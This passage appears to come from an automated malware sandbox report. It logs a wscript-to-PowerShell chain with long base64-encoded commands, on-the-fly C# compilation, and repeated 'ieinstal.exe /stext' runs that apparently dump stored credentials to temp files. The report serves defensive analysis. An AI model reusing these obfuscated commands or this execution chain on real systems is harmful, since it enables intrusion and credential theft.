UAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASwJump to behavior
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdlineJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exeJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8878.tmp" "c:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP"Jump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Medalj.vbs" Jump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\msjsdpJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\omodehqjdJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\zobwfaalrtsxmJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\xxulbmJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\iahwcebtgJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\sumouwmncqxizJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASwJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP"
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerD
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managery"
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managero"
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager>o
          Source: ieinstal.exe, 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managert
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
